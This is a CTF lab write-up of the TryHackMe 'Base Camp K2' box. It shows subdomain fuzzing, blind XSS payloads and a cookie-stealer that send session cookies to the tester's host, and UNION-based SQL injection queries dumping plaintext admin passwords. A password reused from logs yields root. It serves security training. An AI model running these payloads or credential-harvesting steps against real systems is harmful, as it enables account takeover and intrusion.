> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-base-camp-k2.md).

# THM - Base Camp K2

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fb:52:02:e8:d9:4b:83:1a:52:c9:9c:b8:43:72:83:71 (RSA)
|   256 37:94:6e:99:c2:4f:24:56:fd:ac:77:e2:1b:ec:a0:9f (ECDSA)
|_  256 8f:3b:26:92:67:ec:cc:05:30:27:17:c5:df:9a:42:d2 (ED25519)

80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Dimension by HTML5 UP
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
No exact OS matches for host (If you know what OS is running on it, see <https://nmap.org/submit/> ).
```

```bash
(ajay㉿kali)-[~]
└─$ gobuster dir -u <http://10.81.162.157/>  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     <http://10.81.162.157/>
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home                 (Status: 200) [Size: 13229]
Progress: 77450 / 220558 (35.12%)^C

```

```bash
ffuf -u <http://10.81.162.157/> -H "Host: FUZZ.k2.thm" -w /usr/share/dnsenum/dns.txt -fs 13229

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : <http://10.81.162.157/>
 :: Wordlist         : FUZZ: /usr/share/dnsenum/dns.txt
 :: Header           : Host: FUZZ.k2.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 13229
________________________________________________

admin                   [Status: 200, Size: 967, Words: 298, Lines: 24, Duration: 179ms]
it                      [Status: 200, Size: 1083, Words: 322, Lines: 25, Duration: 106ms]
:: Progress: [1505/1505] :: Job [1/1] :: 328 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
```

Identified two vhosts add them to the hosts file.

### HTTP

it.k2.thm

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F3u8rG2odTyMrSOjKddRk%2Fimage.png?alt=media&amp;token=6a032f96-491d-400c-a0c4-e92cb25a0110" alt=""><figcaption></figcaption></figure>

Checked for sql injection but no use.

### Blind XSS

Next checking for XSS, got hit.

```bash
XSS PAYLOADS USED 
<img src=”<http://192.168.170.217/title>"></img>
<img src="<http://192.168.170.217/desc>"></img>

```

```bash
─(ajay㉿kali)-[~]
└─$ python3 -m http.server                                                            
Serving HTTP on 0.0.0.0 port 8000 (<http://0.0.0.0:8000/>) ...
10.81.162.157 - - [09/Feb/2026 20:59:02] code 404, message File not found
10.81.162.157 - - [09/Feb/2026 20:59:02] "GET /desc HTTP/1.1" 404 -
10.81.162.157 - - [09/Feb/2026 20:59:04] code 404, message File not found
10.81.162.157 - - [09/Feb/2026 20:59:04] "GET /desc HTTP/1.1" 404 -
10.81.162.157 - - [09/Feb/2026 20:59:06] code 404, message File not found
10.81.162.157 - - [09/Feb/2026 20:59:06] "GET /desc HTTP/1.1" 404 -
^C
Keyboard interrupt received, exiting.
                                         
```

```bash
(ajay㉿kali)-[~/Tools/xss-cookie-stealer]
└─$ ./xss-cookie-stealer.py 192.168.170.217           
Payload: <script src="<http://192.168.170.217/script.js>"></script>
Files created successfully in the 'web-server' directory.
[Mon Feb  9 21:07:27 2026] PHP 8.4.11 Development Server (<http://0.0.0.0:80>) started
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43766 Accepted
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43766 [200]: GET /script.js
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43766 Closing
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43772 Accepted
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43772 [200]: GET /index.php?c=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.aYqTAg.rBsgrfsKu8v4pYXCBNqyt1gmsxI
[Mon Feb  9 21:08:02 2026] 10.81.162.157:43772 Closing

```

```bash
(ajay㉿kali)-[~/Tools/xss-cookie-stealer/web-server]
└─$ echo "eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ" | base64 -d
{"admin_username":"james","id":1,"loggedin":true}
```

pasting the cookie in the cookie editor

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FwZ7HI6yNVcNw1wv1AYWP%2Fimage.png?alt=media&amp;token=c571b401-20b0-4831-809d-28c35654ac10" alt=""><figcaption></figcaption></figure>

now navigate to the dashboard which we found on the gobuster

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4OTXpWsmN4QcSHKUxHFq%2Fimage.png?alt=media&amp;token=38e91eaf-b8cc-4579-84a6-cb23b583aa39" alt=""><figcaption></figcaption></figure>

icket title vulnerable to SQL injection

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FrQmqpUwteLuw8UiRK5Bf%2Fimage.png?alt=media&amp;token=5ca5e755-a801-47cc-8b62-d3dbd19eb652" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6vhpTAQUEsennGU2DTza%2Fimage.png?alt=media&amp;token=4d759c32-156e-462f-b443-8dca277d7ddc" alt=""><figcaption></figcaption></figure>

## SQL Injection

### Enumerating Columns

```bash
title=' ORDER BY 1--+   NO ERROR
title=' ORDER BY 2--+   NO ERROR
title=' ORDER BY 3--+   NO ERROR
title=' ORDER BY 4--+   ERROR

WHICH MEANS THERE ARE THREE COLUMNS
```

### Version

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FqsRFRCulZ1VQkbOIlwuG%2Fimage.png?alt=media&amp;token=b2d45cad-33ab-4f2f-ad04-0295e716aa2b" alt=""><figcaption></figcaption></figure>

### Current Database

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8oR9X69YEwDK9EdqmTVL%2Fimage.png?alt=media&amp;token=4e27fa77-f1ce-4414-8624-8abaccb71c7f" alt=""><figcaption></figcaption></figure>

### Tables

```bash
title=' UNION select 1,TABLE_NAME, TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES where table_schema='ticketsite'-- -
```

There are three tables in the current database

`auth_users, admin_auth, tickets`

### Columns

```bash
title=' UNION SELECT COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='admin_auth'-- -
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FIE9dle7VhHwqLvIrar5C%2Fimage.png?alt=media&amp;token=3289f20c-a04a-44c3-be34-7fd0e9cf4e01" alt=""><figcaption></figcaption></figure>

Columns in auth\_users

id, auth\_username, auth\_password, email

```bash
title=' UNION SELECT COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='auth_users'-- - 
```

Data of admin\_auth

| id | admin\_username | admin\_password    |
| -- | --------------- | ------------------ |
| 1  | james           | `Pwd@9tLNrC3!`     |
| 2  | rose            | `VrMAogdfxW!9`     |
| 3  | bob             | `PasSW0Rd321`      |
| 4  | steve           | `St3veRoxx32`      |
| 5  | cait            | `PartyAlLDaY!32`   |
| 6  | xu              | `L0v3MyDog!3!`     |
| 7  | ash             | `PikAchu!IshoesU!` |

```bash
title=' UNION SELECT id,admin_username,admin_password from ticketsite.admin_auth-- -
```

```bash
title=' UNION SELECT auth_username,auth_password,email from ticketsite.auth_users-- -
```

| auth\_username | auth\_password | email            |
| -------------- | -------------- | ---------------- |
| test           | test           | <test@gmail.com> |

## Shell as James

```bash
ssh james@10.81.162.157
Pwd@9tLNrC3!
Last login: Mon Jun 19 17:29:51 2023 from 10.13.4.71
james@k2:~$ 
```

```bash
james@k2:~$ id
uid=1002(james) gid=1002(james) groups=1002(james),4(adm)
```

```bash
grep -rwi "password
+0000] "GET /login?username=rose&password=RdzQ7MSKt)fNaz3! 
```

## Shell as Root

```bash
james@k2:~$ su rose
Password: 
su: Authentication failure
```

creds fails but password reuse against root works

```bash
james@k2:~$ su root
Password: RdzQ7MSKt)fNaz3!
root@k2:/home/james# 

```

```bash
root@k2:~# ls
root.txt  snap
root@k2:~# cat root.txt
THM{c6f684e3b1089cd75f205f93de9fe93d}
root@k2:~# 
```

```bash
root@k2:/home/rose# ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  k2_site  .local  .profile  .selected_editor  .viminfo
root@k2:/home/rose# cat .bash_history
sudo suvRMkaVgdfxhW!8
sudo su
root@k2:/home/rose# 

```

Found Rose user pass in her bash history

`james:Pwd@9tLNrC3!,`

`rose:suvRMkaVgdfxhW!8`

`root:RdzQ7MSKt)fNaz3!`

```bash
root@k2:/home/rose# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
rose:x:1001:1001:Rose Bud:/home/rose:/bin/bash
james:x:1002:1002:James Bold:/home/james:/bin/bash
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
```


---

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